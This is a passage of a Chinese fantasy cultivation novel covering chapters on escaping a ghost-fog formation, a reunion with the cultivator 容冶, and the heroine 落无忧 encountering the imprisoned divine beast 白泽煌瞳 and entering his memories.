云殷寒淡漠的声音传来,却包含着一丝隐隐的担忧。
三人已靠近落无忧,她腰间的宫铃随风而动,发出清脆悦耳的声音,同时泛出水蓝色的光芒,将几人裹住。
嘈杂的声音霎时遁去,几人只觉耳边清静不少。
“有人闯进鬼雾阵了!”
而且实力并不弱。
所以这群死尸才会这般躁动。
这明显是在回答云殷寒刚刚问出的问题。
“我先带你们出去。”落无忧再次开口。
云殷寒却皱了皱眉,白秋尽知道他在想什么,便开口时落无忧道:
“落姑娘可愿随我们一同去看看?”
“看什么?”
落无忧不解。
“看看还有谁被困于此阵,我们也可带他们一同出去。”
落无忧把目光移到白秋尽脸上。
只见她一脸温婉,一副大家闺秀的模样,眼神里皆是真挚,似是发自肺腑之言。
落无忧不由得怒火奋起,冷冷道:“我又不认识那些人,为何要帮他们?”
白秋尽微微一愣,脸色苍白,一时竟不知道应如何作答。
云殷寒冷声道,“我们修行之人怎可说出这般冷漠之言,习武修行不就是为了保护苍生,拯救人民于水火之中么?”
语气虽冷,正义毕现。
落无忧嗤笑一声,却没有反驳云殷寒。
“是啊,落落,万一是平民百姓呢?若是我们不救他们……”
白隐迢话音未落,落无忧便打断了他。
“不可能!凡人无法触发鬼雾阵!只有那些心性贪婪,非要来青枫山脉寻宝的修行之人才会激活此阵!”
说着,她冷冷地看了一眼身旁的三人。
察觉到落无忧的目光,云殷寒面色未改地回视着她,眼底尽是平静。白隐迢嘴角擒着一丝笑,仿佛闻所未闻。白秋尽则是脸色微变,却依旧一言不发。
落无忧的话太过直白,揭开了丑恶人性表面的那层华丽。
三人皆是名门正派的宗族子弟,平时所接触之人皆是光明磊落、顶天立地的正派人物,他们怎可能会说出这般直白刺人之话。
“即便如此,我们也不能袖手旁观啊。”
云殷寒看着落无忧,开口
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道。
他的语气缓和了不少,像是在教小孩子道理一般温柔。
落无忧抬头看着云殷寒,忽然有些迷茫。
心中暗道:师父总说人间污浊,人心难测,可他说的,也并非没有道理。
云殷寒看到她眼神里透着些许迷茫,也暗暗道:
她竟如孩童般天真纯粹,想来她定是某个隐士的弟子吧。见识尚少,倒也不失可爱。
“可是,那些人的武功并不比我们弱。”落无忧低语道。
云殷寒淡淡的笑了笑,宛如天山雪莲盛开般高贵清丽,叫落无忧愣了愣。
“这可是鬼雾阵,几百年来,无人可破,比我们厉害的可能也需要我们帮忙。”
是“我们”,不是“你”。
落无忧冲云殷寒笑了笑,随后,点了点头。
她违背了师父的初衷,到底还是想亲身体会一遍人间真理与情爱。
落无忧双手结印,万千灵力于她身上散出,丝丝缕缕,没入死尸群中。
她低声念出一句话,白秋尽与白隐迢没有听懂,齐齐看向云殷寒,云殷寒面色未改,给姐弟俩传递了一个“放心”的眼神。
落无忧念的是苗语。
这群死尸竟是苗蛊控制的傀儡!
随着落无忧的施法,死尸群再次隐入土中。
不过,这一次,大雾却没有消散。
这是落无忧故意为之,毕竟闯入者的修为绝不在他们之下,若是那些闯入者心怀不轨,凭借大雾,他们还是有些胜算。
落无忧心念一动,宫铃产生的结界消失。
她开口道:“周围的死尸暂时被压制了,但远处的我无法控制。这迷雾虽大,却没有毒,你们大可放心!”
几人点了点头。
落无忧走在前头,其余几人紧紧地跟随着她。
四人走了一会儿,死尸群的声音渐渐接近,其间夹杂着一道气急败坏的骂声:
“可恶的死尸,竟敢弄脏本公子的靴子!!”
声音如珠子落玉盘般好听,语气里却充满了嫌弃与烦躁。
想来是被这群死尸纠缠太久的贵公子吧。
云殷寒一听到这个声音,心里动了动,却仍旧一言不发。
落无忧腰间的宫铃随着她的走动而轻轻摇动着,发出清脆的声音,在死尸群令人作呕的声音中显得俏皮又悦耳。
她再次结印,死尸群渐渐消失,而后她右手一转,一把银扇翻于手中。
那扇子呈圆形,大约十几寸长,以白纱为面纯银为框。
扇面上绣有一枝朱砂梅,摄人心魄,勾人心弦,妩媚又清冷。
微风拂来,扇柄上挂着的几颗银铃铛发出清脆悦耳的声音。
落无忧轻轻一扇,林中白雾散尽,露出几道人影。
为首的是一个年轻男子。
其容貌绝色,一双桃花眼眼波流转,略显风流,左眼眼角处的一点泪痣摄人心魄,更显妩媚。
衣袂翻飞,发带与墨发一同随风而动,宛如神人。
那男子身着绛紫色衣袍,衣袍边缘的纹路用七彩丝线缝制,微微露出一截白色单衣,俊美无比。
他的发带为紫、黄、白三色相间。与他的绛紫色衣袍甚是相配。
他身后站着七个女子,她们分别穿着红、橙、黄、绿、蓝、青、紫七色衣裙。
她们身姿婀娜,容貌不俗,却又都神色惊措,手中彩绫飘飞。
在看到落无忧等人时,她们迅速收起彩绫。
霎时间,彩绫包住了她们的头和脸,只露出一双双美目。
七彩头纱!竟是天虹门之人!!
8. 鬼雾阵(终)
那个俊美男子看到他们,竟对身旁那群女子摆了摆手,示意她们不必惊慌。
随即,他右手一翻,一把玉骨扇缓缓张开,他朝云殷寒几人勾了勾唇,风流又妩媚。
云殷寒也展了颜,问道:
“容冶,你怎在此地?”
被称作“容冶”的男子朝他们走来,身后的七个女子一步不落地跟着他。
他神色复杂,收了扇子,叹道:“此事不说也罢。”
说罢,他的目光朝云殷寒身旁的几人掠去。
白秋尽上前一步,拱手行礼,白隐迢亦上前行礼。
“轻云门白秋尽”
“白隐迢”
“久仰飞鹤公子大名!”
落无忧一愣,暗道,
飞鹤公子?!他竟是大名鼎鼎的飞鹤公子!那他又与天虹山有何关系?
容冶见状微微一愣,暗想,竟是轻云门白家子弟!
他看了一眼云殷寒,只见云殷寒的目光正投在手持银扇的橙衣小姑娘身上。
容冶收回目光,勾了勾唇,风流且妩媚,又摇了摇玉骨扇,道,
“天虹山容冶,幸识。”
此言一出,几人皆是一惊。
容冶以“天虹山”冠之,而不是“飞鹤公子”。
飞鹤公子乃容冶在江湖中的别号。几年前,江湖中突然出现一名自称“飞鹤公子”的散修,以一己之力,歼灭一百沙魔。
要知道,一只沙魔便可杀死几名六大楼中低阶修士。高阶修士面对沙魔时,也是能躲就躲。
一战成名。
自此,飞鹤公子在幻月大陆上家喻户晓。
而如今,容冶竟舍弃自由身,以天虹山山主自称,着实令人费解。
云殷寒担忧地看着容冶,容冶冲他微微一笑,递给他一个“放心”的眼神。
落无忧暗叹道,这天虹山竟招收男徒了?
况且这“七天女”对他毕恭毕敬,寸步不离,如此阵仗,闻所未闻。
“云兄,你身旁这个橙衣小姑娘可不简单啊……”
话是对云殷寒说的,目光却是投在落无忧身上。
容冶表情似笑非笑,语气似是随口猜测,又似乎是异常肯定。
落无忧心里“咯噔”一下,心道:难道他认出来了?
面上却粲然一笑,反驳道:
“哪里哪里,公子才是不简单啊。”
容冶知她言外之意,却并不应答,只是笑着打量着她。
云殷寒出口打破了两人之间的微妙气氛。
“先出阵吧。以免夜长梦多。”
鬼雾阵乃青枫古阵,威力巨大。
方才落无忧只是暂时将其压制,这古阵时刻都有苏醒的可能。
想到此,几人都点了点头。
落无忧率先迈开双腿,白隐迢迅速追上她,没话找话地同她交谈。
白秋尽跟在两人身后。
云殷寒与容冶并排走着,他们身后跟着七天女。
云殷寒身着一袭月白色的残星素锦袍,锦袍边缘用银丝线勾勒出波浪形的纹路,左胸处的三颗星星亦是用银丝线缝制,玉冠绾发,神色淡漠,宛如深蓝海底的冰山一角。
容冶则身穿绛紫色衣袍,衣袍边缘的纹路是用七彩丝线缝制,绛紫色衣袍下露出一截白色单衣,彩色发带随风晃动,令人眼花缭乱。一双桃花眼风流毕现;一颗泪痣更显妩媚。
明明是截然不同的两个人,站在一起却有一番说不出的和谐,这自然离不开两人那一段生死与共的经历。
十七岁那年,云殷寒从轻云门归来。没过几个月,他便出去历练。
他首先去的是西北的炎阳漠,他与容冶便是在那里相识的。
十六七岁的少年,风声鹤唳,争强好胜。
当时,容冶还是一个散修,看不惯那些六大楼阁的子弟。
刚认识,他便以切磋为由与云殷寒交手。
两人打了两天两夜,竟不分伯仲。
最后还是一阵龙卷风将两人吹起,两人才停止打斗,一同对抗龙卷风。
等到两人从龙卷风中逃脱时,已是第三日傍晚。
火红的落日宛如天边血盘,万丈余晖洒下人间,给黄金般的沙子镀上一层温暖。
两人目光所致,尽是黄沙,愈觉乾坤之无穷。
两人仰面朝天地躺在温暖的黄沙上,入目的是余晖下微微跳动的小沙灰。
晚风轻拂,几粒沙子蓦然吹入眼中,叫人红了眼眶。
容冶紫衣残破,发丝凌乱,右手手背上一道血痕触目惊心。
云殷寒亦是狼狈不堪,血迹溅白衣,灰尘染公子。
左面脸颊上一道细长血痕如茫茫雪原上的曼珠沙华般摄人心魄,碎发飘落略显妩媚。
两人无言地躺了一会后,相互搀扶着站起。
将对方的狼狈之状尽收眼底后对视一眼,同时展颜。
后来,两人成了莫逆之交。
之后的一年里,两人一同捉妖历练,寻宝探案,行侠仗义……直至残星楼来信说云沐坻身体有恙,云殷寒才不得已回楼。
“你怎会做了天虹山山主?”
云殷寒早就听说天虹山换了新山主,后又有传言:那新山主竟是男子!
世人皆知,天虹山从不招收男徒,何况是山主!
此消息一出,举世皆惊。
世人纷纷好奇那男子是怎样的角色。
说来奇怪,关于这个新山主的传言极少,不过是喜穿紫袍,手执玉骨扇等语罢了。
云殷寒从旁人口中猜出这个新山主应该就是容冶。
可他想不通生性不羁,热爱自由的容冶怎会甘心受人束缚?
听到这个问题,容冶神色一收,眉间竟有些许的无奈。
“云兄,此事说来话长……一年前,阿浅中了五寒散。
此毒毒性不烈,可若长时间不解,阿浅便会五识散尽,不人不鬼。
其解药异常难制,需炎阳殿的无叶果,天虹山的天雪莲,弦月阁的弦月花,轻云门的白云根,以及青枫宫的归元草。
还要用你们残星楼的五星炉炼制七七四十九天才可制成。
我费尽心血得到天雪莲,可天虹山山主的条件是——让我做下一任山主……”
短短几句话,道尽了容冶内心的挣扎与无奈。
云殷寒了然,只要涉及到流浅,别说是让容冶失去自由,哪怕是失去性命,他也心甘情愿吧?
“那如今,你集齐了几味药?”
听到这个问题,容冶脸色更差了,他叹了口气,道,
“除了天虹山的天雪莲,弦月阁的弦月花,都未寻到。”
云
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殷寒默然。
过了半晌,他开口道,
“别的还好说,只是这归元草……”
容冶点了点头,把目光放在前面的几道人影身上,心里一动,道,
“云兄可知,这橙衣小姑娘……”
一听这话,云殷寒抬眸望向容冶。
同时,耳边传来白隐迢与落无忧的嬉闹声。
“落落,这把银扇当真那么厉害么?”
云殷寒没听清落无忧说了什么,只听到白隐迢又道,
“这等仙家之物,诚宜由像你这般的小仙女拥有!”
云殷寒轻微地皱了皱眉,心里涌起一股莫名的烦躁,片刻之后,他对容冶道,
“我知你救流浅心急,但不可以利用无忧。”
容冶微微一笑,用“我就知道你会这样说”的眼神看了他一眼。
云殷寒脸颊微热,不自然地解释道,“她,救过我三次。”
容冶并不做声,点了点头,当做承诺。
他们耳边又传来白隐迢的哀嚎声,
“救命!落落……”
只见,阿鸾正用力地啄白隐迢,白隐迢上蹿下跳地躲避着阿鸾的攻击。
落无忧则是收起扇子,在一旁抱着手臂看好戏,眉眼青涩却高傲不羁,嘴角弯起一抹嘲讽的笑意。
“阿姐!云大哥!”
白隐迢往白秋尽身后躲去,云殷寒轻声道,
“无忧,别闹了。”
落无忧转过头对云殷寒狡黠一笑,露出两颗尖尖的小虎牙,这才冲白隐迢笑道,“你求我啊!求我我便放过你。”
白隐迢哪管那么多,直接叫道,“我求你,姑奶奶,放过我好不好啊?”
落无忧满意一笑,对阿鸾吹了声口哨。
阿鸾这才不情不愿地飞入落无忧腰间的挎包。
白隐迢心中有些阴影,不敢再围着落无忧叽叽喳喳地讲个不停了。
云殷寒心中冒出一股莫名的窃喜,随即又因自己的窃喜而感到恼怒,过了半晌,才渐渐恢复平静。
他转过头,对容冶道,
“你且先去集齐其他几味药。至于归元草,我会替你想办法的——但是绝不能利用她。”
容冶收起笑容,脸上是罕见的严肃,眼神真挚,有些欲言又止。
过了半晌,只听他开口道,
“她如春花般烂漫,太阳般耀眼——我的意思是,云兄,你迟早会为她舍去月亮的。”
云殷寒愣了愣,想张口辩解,却又不知该如何解释,只得沉默不言。
“多谢各位相助!”
容冶对几人拜了一拜,道,
“既已出阵,咱们便就此别过了!”
之后,他又冲云殷寒笑了笑,道,
“多谢云兄!”
说罢,他挥出手中的玉骨扇。
只见,那玉扇猛然发出淡紫色的光芒,不断变大。
容冶跳上玉扇,御扇而去。
七天女的彩绫不断变大,亦随容冶而去。
落无忧看着远去的一行人,叹了口气。随即,悄悄地问云殷寒道,
“哥哥,那姓容的,刚刚在跟你说什么啊?”
云殷寒想起容冶的话脸色一变,拂袖而去。
留下一脸茫然的落无忧。
“怎么生气了?”
9. 神兽白泽(一)
容冶一行人走后,几人接着走了一会,却觉得脚下土壤越来越软,人踩在上边都会微微凹陷,脚下溢出一点点水来,几人都不禁有些疑惑。
放眼望去,只见前方天地突然开阔,茫茫平原上瘴气弥漫,叫人看不清远方。
脚下的水草越来越密,却只是低低的生长着,这显然是一片沼泽。
“这是哪?”白隐迢有些疑惑地问道。
落无忧虽是在青枫长大但不常出山,况且青枫山脉广阔无垠,覆盖极广,这个地方她是真心不知道。
落无忧摇了摇头,随即右手一翻,一个卷轴覆于手上,她双手打开卷轴,看了半晌,才低声说出一个地名。
“苍溟泽。”
三人听到这个地名也愣了半晌,随后只听白秋尽叫了一声“小心。”
白秋尽平常都是安静如水,说话宛如春风拂面般温和和煦,此刻突然提高音量叫云殷寒和白隐迢都吓了一跳。
几人急急地往后退去,同时几人脚底下的土壤忽的凹陷,宛如张开的巨口般将落无忧吞入其中。
其余三人立即飞身而来,云殷寒猛的抓过落无忧,但落无忧的裙带宛如流水般拂过云殷寒的手后便极速下滑。
落无忧一被吞噬地面便迅速恢复,仿佛刚刚的一切只是错觉。
地面上的几人惊魂未定,白秋尽喃喃道,“苍溟泽,传说中的魔渊。”
苍溟泽的确是魔渊,可是鲜有人知的是,百年前它是神渊。
云殷寒薄唇微抿,脸色有些苍白,眼中情绪波涛汹涌,过了半晌,他眼中渐渐恢复平静,开口道,“得快些寻找入口。”
白秋尽和白隐迢都点了点头,几人即刻开始寻找入口。
*——
与此同时,一阵灵力宛如阳光般自苍溟泽中哗然四散。
潋滟宫中清冷的白衣少女正站在高塔上眺望远方,空中忽然传来嘹亮旷远的叫声,随后一只白雕于高空中缓缓落下稳稳的停在少女左肩。
娥汐伸过右手取下白雕爪子处的小竹筒,随后便将白雕交给身后的侍女。
“主子。”
冷冷清清的声音在殿外传来,随即娥汐自殿外进来,双手呈上方才的小竹筒。
正在殿内小寐的红衣女子缓缓睁开眼睛,接过娥汐手中的竹筒,打开后取出一张空白的纸条,而后火魅右手一拂,一行金色的字缓缓浮现。
火魅勾了勾唇,神情越发奇妙,令人捉摸不透。
*——
在地图上看到那三个字时,落无忧心中一惊,忽然感到莫名的熟悉,可却记不起何时听过,见过这个名字。
待她被拖入沼泽中时,她才忽的记起宫中讲师祖的史书中曾经提过。
可惜她记不清有关的细节。
沼泽内部好像有另一个空间,她一进入便如流星般猛的坠下。
不过片刻,她便已进入底部,随即一股灵力猛的席卷而来,将她卷入一个山洞,而她毫无反抗之力。
随即,落无忧被猛的摔在山洞里,洞里凹凸不平的地面硌得慌,她感到一股头晕目眩,愣了几秒钟后才缓缓站起,环顾四周。
这个山洞极宽,四周光线有些黯淡,落无忧刚从强光环境到弱光环境,一时间视线有些模糊。
她眨巴着眼睛,只见山洞边沿有一些藤蔓弯弯曲曲的爬着,仿佛人手上的青筋般歪歪扭扭。
那里有一束光沿着洞壁轻轻洒下,有一道白色人影挂在那里。
落无忧心脏突突直跳,水滴滴在石壁上发出答答的声音,愈加显得这个石洞寂静空旷。
落无忧轻微地吐了口气,抬起脚尖,轻轻的朝那个人影移去。
渐渐走近,落无忧终于看清了那个人。
那个人身着一袭白衣,白衣上用银丝线绘着一个庞然大物,仿佛什么上古神兽的模样。那些暗纹在弱光下时隐时现,宛如鳞片般熠熠生辉。
最奇特的是那个人满头白发宛如瀑布般倾泻而下,而那头白发中赫然立着一对角儿,仿佛龙角又宛如鹿角。
而那个石壁上竟生出几条黝黑的铁链,那些铁链紧紧地锁着那个人的四肢和腰肢,叫他动弹不得。
那个人低着头,白发宛如白雪般覆盖着他的面部,只露出一个白皙干净的下巴。
而那个人光着的脚丫上竟爬满黑色的符咒,落无忧移开视线,又见露出的手背上亦爬满了那些黑色的符咒,宛如小蛇般歪歪扭扭。
落无忧走近几步,想看清楚那些符咒,却忽然听到,铁链子当当碰撞的声音。
她心里一惊,猛的抬头,撞入一双微褐色、宛如某种兽类的双目中。
那双瞳孔虽是温暖的褐色,却带着一股渗人的冷气与威压。
落无忧不由自主地与他静静对视,她动了动,却不能移动半分。
她后背上一阵冷汗密密麻麻的沁出。
瞳术。
那个人竟然会瞳术,他用眼睛控制着落无忧。
那个人摇了摇头,脸上的白发尽数离开,露出一张清冷俊美的面容。
那张脸清冷如暗夜里倾泻而下的月光,俊美如冉冉升起的红日,却有几分的稚气。
而他白皙修长的脖颈上也密密麻麻地爬满了符咒。
只听他缓缓开口道,“姐姐,把你的魔丹给我罢。”
少年声音宛如山间小溪般清亮悦耳。
落无忧一面思考着瞳术的破解方法,一面拖延着时间。
只听她冷声嘲讽道,“这颗魔丹,我敢给,你未必敢要。”
少年并不恼怒,只是眸色深了深,继续道,“姐姐,我几百年不见活人了,我再给你一次机会,你若自愿给我魔丹,我自会放你走。”
落无忧笑道,“别别别,你可别叫我姐姐,你可比我大太多了!”
与此同时,一只青鸾从落无忧腰间小布包里忽的飞出,阻断了少年与落无忧的视线,落无忧脚下一软,随即轻点足尖,向后掠去。
少年眸色一转,风暴在他眼中缓缓汇聚,愈来愈暴烈,正要爆发之际。
只听到一阵清脆悦耳的声音从落无忧腰间传来。原来是那串银铃铛随着落无忧的移动而轻轻震动,发出一阵阵清脆的银铃声。
“叮铃铃”的铃铛声悠悠传来,仿佛穿透百年岁月缓缓而来。
少年眼中的风暴缓缓变小,最后竟凝成了一片懵懂与迷茫。
阿鸾受不了少年身上散发出的灵力与威压便在落无忧肩头呜咽了一声后钻回布袋。
落无忧听清了阿鸾那句后,点了点头,一副毫不意外的样子。
随即,落无忧足尖起点,宛如一只黄鹂般翩然而至,她朝少年赤脚伸出手。
然而,她刚刚伸出手的那一刹那,一道闪电忽的劈向她,她心下一惊,猛的往后
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拂去,堪堪躲开那道闪电。
这下落无忧是不敢轻举妄动了,正在低头思索时,听到少年忽的开口,仿佛疑问又仿佛陈述,语气中夹杂着愤恨、遗憾、钦佩、思念复杂情感,令落无忧的心猛然一跳。
“你是,他的后人?。”
*——
不同于洞中的时光缓缓,沼泽外已过了一天一夜。
云殷寒三人也找了一天一夜,三人分头去找入口,几乎将整个沼泽地都翻了一遍,但是没有一点线索。
云殷寒面色惨白,双目布满血丝。白秋尽和白隐迢亦是面色忧虑。
白隐迢想起落无忧俏皮邪气的神色,清澈干净的眉眼忽的感到担忧又害怕。他不禁问道,“怎么办啊?云大哥。”
少年声线好听,却情不自禁的带上一丝不安。
云殷寒默了半晌,低声道,“强行进入。”
云殷寒话音刚落,空中乌云翻涌,几道光芒宛如流星划过。一个女子的娇笑声仿佛当空惊雷般在他们耳边落下,“别着急嘛!”
声音妩媚,却又带着一丝冷傲。
*——
“你是,他的后人?。”
少年声音落下的那一刻,落无忧脑中闪过几行青枫古籍中的字:“苍溟泽,白泽煌瞳的诞生之地。”
白泽煌瞳?!
落无忧一愣,叹道,竟是师祖的灵兽。
看到少年眼中的茫然,她渐渐放松了戒备,缓缓地走近煌瞳,想看清他四肢与脖颈处的符文。
然而她还未靠近,一阵闪电又猛然袭来,落无忧心下一惊,右中一翻,栖汩鞭发出耀眼的橙光猛然甩向那几道闪电。
闪电与橙光相交的那一刹那,小小的石洞里发出耀眼的白光,宛如太阳升起。
落无忧右手发麻,喉咙里传来一阵铁锈味,随即她倒飞而出,猛的喷出一口鲜血。
她心肺焦灼,宛如被烈火焚烧,过了半晌才缓缓起身。她不可置信地道,“你恨他?”
白发煌瞳冷笑道,“自然恨。”
恨不得将他碎尸万段,恨不得饮其血、啖其肉,恨不得让他灰飞烟灭、永不入轮回。
落无忧感觉到煌瞳无比的恨意,心生疑惑。
她踉跄了一下,伸出左手,用手背随意地擦了一下唇边的鲜血,嘲讽道,“可惜,你的恨并不纯粹。”
要不然她怎会可以接下上古神兽白泽的一招,恐怕她还未出手便早已灰飞烟灭了。
听闻此言,煌瞳眼中怒火熊熊燃烧,落无忧不敢与他对视,他可是煌瞳啊,这幻月大陆上唯一会瞳术的……神兽,一不小心便会被他控制。
她只得一边注意着煌瞳赤足上的符咒,一边软下语气,劝道,“想来你与师祖之间一定存在误会。”
怎会有神兽痛恨自己的主人呢?这简直是闻所未闻。
只见煌瞳脚背上的符咒歪歪扭扭,仿佛神文。落无忧从未见过这种符咒,她费尽心思想记住那些字符以便以后可以默写出来。
可是这些符咒一进入她视线中便开始摇摇晃晃,宛如蝌蚪般曲曲折折,并不能为她看清。
她还在思考如何将它们记住,便听到煌瞳愤怒的声音传来。
少年声音清冷却愤怒,稚气却又有一丝的哽咽。
“你凭什么认为神兽就该对主人感激涕零、忠心耿耿?!你凭什么认为他就是对的?!”
10. 神兽白泽(二)
落无忧一愣,心中闪过一丝懊恼。她抬起头,歉意道,“对不起。”
煌瞳低头凝视着少女,少女一身橙裙光亮明媚,宛如……宛如阳光般明媚灿烂。
她发丝凌乱,唇边还有一丝鲜红的血痕,鹿眼澄澈,眼底尽是歉意。
煌瞳躁动不甘的心莫名的软了下来,他褐色的瞳孔渐渐柔和了下来。
他轻声道,“让你看看我的过往。”
随即落无忧全身一僵,回过神来时已置身一片混沌之中了。
*——
只听一声“别着急啊”远远传来,随即,四道人影缓缓出现。
看见红衣女子火魅,云殷寒薄唇紧紧地抿成一线。
白家姐弟虽不认识火魅几人,但见云殷寒敌意弥漫的模样,不禁都戒备森严。
白秋尽很自然的站在白隐迢身前,一副母鸡护小鸡的模样。
云殷寒此生最厌恶的莫过于魔道了,他知道火魅乃魔阈中人,此刻见到他们心里便只觉一股烦躁。
彩衣朱魇见云殷寒敌意翻滚,不禁嘲讽道,“你讨厌魔。那你可知那个小姑娘为何独独被吞入苍溟泽内?”
“朱魇。”火魅微微皱眉,眼中闪过一丝不悦。这次任务乃是机密,因而她都不敢带那些“影子”只带了自己的亲信和朱魇,她可不想因朱魇多嘴而导致任务失败。
朱魇宛若未闻,继续道,“那还不是因为她体内有魔丹!”
这一句宛如惊雷砸下,云殷寒眸光流转,眼神越来越冷。白秋尽和白隐迢对视一眼。
火魅眉头越发紧皱。
白隐迢哈哈一笑,道,“那又怎样。她是魔又如何,滴水之恩当涌泉相报,何况是救命之恩。”
朱魇微微笑着,看了一眼白隐迢,但他更想看的是云殷寒的态度。
只见,云殷寒面色未改,微微有些散漫,众人在他身上看不出任何的情感,只听他淡声道,“别再拖延时间了。”
随即残星剑在他面前飞速旋转,三条水蓝色的剑龙忽的显现,猛然飞向火魅几人。
火魅几人不敢大意,只得结印闪躲。
白秋尽和白隐迢也纷纷祭出法剑。剑光大射,朱魇嘴角噙着一抹意味深长的笑来,手指一把七彩孔扇,扇上流光溢彩与残星剑的残影混在一起,别有一番滋味来。
白秋尽衣裙随剑气而起,乌发飘飘,手中未凋剑泛着黄光猛然飞起,与娥汐、漓羽两人斗作一团。
娥汐、漓羽两人资质上浅,白秋尽在一定程度上稍占上风。只见她宛如黄鹂般轻巧优雅,解开两人所结结界。
未凋剑剑柄猛然一砸,将娥汐往后推去。
娥汐哗然倒地,嘴角鲜血流出。
“娥汐!”
火魅面露急色,刚欲帮两个丫头,却被青衣少年挡在身前,只听白隐迢笑道,
“别走啊,你的对手是我。”
随后,青山剑大放青光,白隐迢持剑而上。
火魅将目光投向面前的青衣少年上,冷哼一声,
“就凭你?”
白隐迢高马尾随剑气而动,粲然道,
“正是!就凭我!”
火魅身姿婀娜,红衣飘飘,一股异香刹时扑鼻而来。
云殷寒一面与朱魇交手,一面叮嘱道,
“阿迢,小心,那是魅香。”
白隐迢剑势未减,直朝火魅面门而来。
却在青山剑离火魅不过几寸时,她身形一动,速度极快,白隐迢面前哪能见火魅本体?
空留道道红色残影。
与此同时,穿透空气的声音传来,虚空中一阵银针“咻咻”而来。
白隐迢立即急转宝剑,以此抵御银针。
银针打在青山剑,发出“铮铮”的震动之声。
战况一时有些胶着。
而在此刻,苍溟泽地底深处传来一阵诺大的灵气,宛如万浪汹涌,又仿佛春风拂过。
那股灵气所过之处,草木皆冰,不过一瞬,苍溟泽俨然静止下来,时空就此冻住。
*
待落无忧恢复意识时,已身处一片光明之中了。
她还在思考自己身在何处,却听“哐当”一声巨响在前方传来。
落无忧即刻收起了思绪,往声音传来的方向走去。
落无忧走了几步,却什么也没看见。她心下疑惑,以为自己幻听了,又转身欲离开。
然而,她提起的脚还未来得及落地,“哐当”的声音又再次响起。
这声音近在咫尺,可落无忧眼前却依旧只有空荡荡的山林,哪有半个人影?
洛无忧不禁暗道,难道这声音是顽皮的山野精怪在打闹么?
可下一刻,一道白光落在此地,却见是一个身着白衣、气质出尘的青年。
可青年却是满头白发。
他背对着落无忧,落无忧看不见他的模样。
况且她那么大个大活人在此地白发男子是看不见么?
落无忧心下疑惑,不禁假装咳了一下,那白发男子却依旧背对着她。
只听他声音疑惑,“这是有什么精怪么?”
落无忧见他旁若无人的蹲下细细查看,便踱步至他跟前,低头看他。
白发青年抬头,与落无忧对上。
落无忧心中惊讶翻山倒海而来。白发青年面容俊美,五官深邃,双瞳颜色各异,一蓝一棕,异常邪魅。
这不是师祖帝无邪又是谁?
“师、师祖?”
见到活的师祖了?!
落无忧吓得有些腿软,而帝无邪却只是直直地盯着落无忧身后的树。
少顷,帝无邪迈步而行,竟生生的穿过了落无忧。
落无忧这才后知后觉地想起来,这好像是煌瞳的梦境。
她这才稍稍放下心来,紧跟着帝无邪的脚步。
却见帝无邪走了几步后在一棵郁郁葱葱的柳树下停了下来。
“哐当”的声响再次传来,这次却异常的空灵。
帝无邪伸手抚着柳树树干。那棵柳树已然活了百余年矣。树干粗,树皮糙。
但帝无邪摸上去便感知了一些异样。
这棵柳树树皮上的花纹略有深意,好似什么上古符文。
他眸色一沉,手中灵力闪动,一掌劈到树干上,声音微冷,
“何方邪祟,还不出来?”
帝无邪掌中的灵力缓缓没入柳树中,柳树树干上果然浮现出了细小的符文。
与此同时,柳树枝桠颤动,柳枝迅速变长,宛如触手般抓向帝无邪。
落无忧
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眼波流转,心下暗念,柳树果然为“阴树”,在此修行百年,却未料它竟吸收怨念之气,修为更加高超。
她此刻在煌瞳的记忆里自然不会受到柳树的攻击,便索性在一旁席地而坐,且看师祖如何收服这柳妖。
帝无邪双手结印,白发飞扬,双目一蓝一棕,焕发出异样的光彩,那些宛如长蛇般的柳枝一遇到帝无邪遍迅速变为干枯,萎缩而归。
帝无邪的声音愈发的冰冷下来,
“柳妖,再不束手,我必使你坠入万劫不复之中!”
柳妖终于发声,却是极为枯老沙哑的声音,
“不知天高地厚的黄毛小儿!”
帝无邪冷哼一声,然而开口的却是另一人。
“小小柳妖,你莫以为我看不出你在守护什么。”
少年声线好听,语气里充满了不屑与自信。
却是煌瞳。
煌瞳未出现,声音却回荡在虚空中。
柳妖语气讥讽,“小友可真是谬赞啊,我乃邪祟化身,只知杀戮,不识守护。”
帝无邪一言不发地站在原地,反倒是煌瞳收起笑意,正色道,
“吾乃神兽白泽。”
说着,他在帝无邪身后缓缓出现。
此言一出,柳妖沉默不语,可那簌簌发抖的柳条却出卖了他。
煌瞳见柳妖不说话,又继续道,
“吾可通万物,知鬼神。你当真以为我看不出你身后的东西吗?”
这时,不仅是柳枝,柳妖整个树冠都在颤抖。
他努力压下心中畏惧,却还是徒劳。不禁怒极,想依靠骂人来消减心中的畏惧。
“管你是神兽还是魔兽,坏了大人的事,无人可救你。”
落无忧心中“咯噔”一下。
柳妖这句话在一定程度上也算是一语成谶了吧。
想煌瞳乃神兽白泽,深受万人敬仰,可通万物之情,知鬼神之事。
他与师祖帝无邪缔结契约后创下世代神秘的青枫宫。
可在帝无邪陨落后的几百年里,他被囚于苍溟泽,化为魔兽。
连这上古神渊苍溟泽也变为了魔渊。
落无忧还在为煌瞳唏嘘不已,却听煌瞳笑得恣意张扬,
“是么?让他尽管来战!”
说罢,煌瞳伸手探去,手中灵力毕现,他谈笑风生间,竟将那修炼百年的柳树连根拔起。
柳树的嘶吼声霎时此起彼伏,而又被生生切断。
却见煌瞳一手拿着已被拔出的柳妖,一手捂了捂耳朵,嫌弃道,
“叫得这般难听。”
帝无邪没管煌瞳的狠戾,也没在乎他的嫌弃,而是询问道,
“你看到了什么?”
煌瞳这才将手中的断柳丢到一旁,又看了看断柳拔出后留下的窟窿。
“柳树乃阴树,适合做生死树。”
帝无邪诧异无比,“你是说,有人用这柳树做了生死树,来连通阴阳两界?!”
煌瞳点了点头,“正是。”
说着,他伸手朝断根处捻起一点泥土搓了搓,又将其抛开,宛如细粉般落入尘埃,竟莫名的带上了一些金光闪闪。
煌瞳幽幽道,
“帝无邪,你说,这泥土是阴界的还是阳界的呢?”
11. 神兽白泽(终)
帝无邪与煌瞳对视一眼。
帝无邪三步并两步走,迅速靠近柳根留下的窟窿处,往里边望去,神色讳莫如深。
落无忧不解,也跟着走近那个窟窿,一靠近便觉一大股吸引力扑面而来,仿佛非得将人吸进洞里一般。
她又往窟窿里一看。却见那窟窿竟宛如永不见底的深渊,其间竟发出淡淡的红绿之光,愈发的显得其幽深可惧。
“进去看看不就知道了。”
帝无邪声音喜怒未显。
煌瞳哈哈一笑,“走!”
随即,率先跳入那幽深的洞中。
帝无邪也接着跳下。落无忧自然不能错过这个一探究竟的机会,于是她也随两人而去。
那洞口看上去极狭窄,然而落无忧一跳入后便发觉其尤其宽阔深邃。
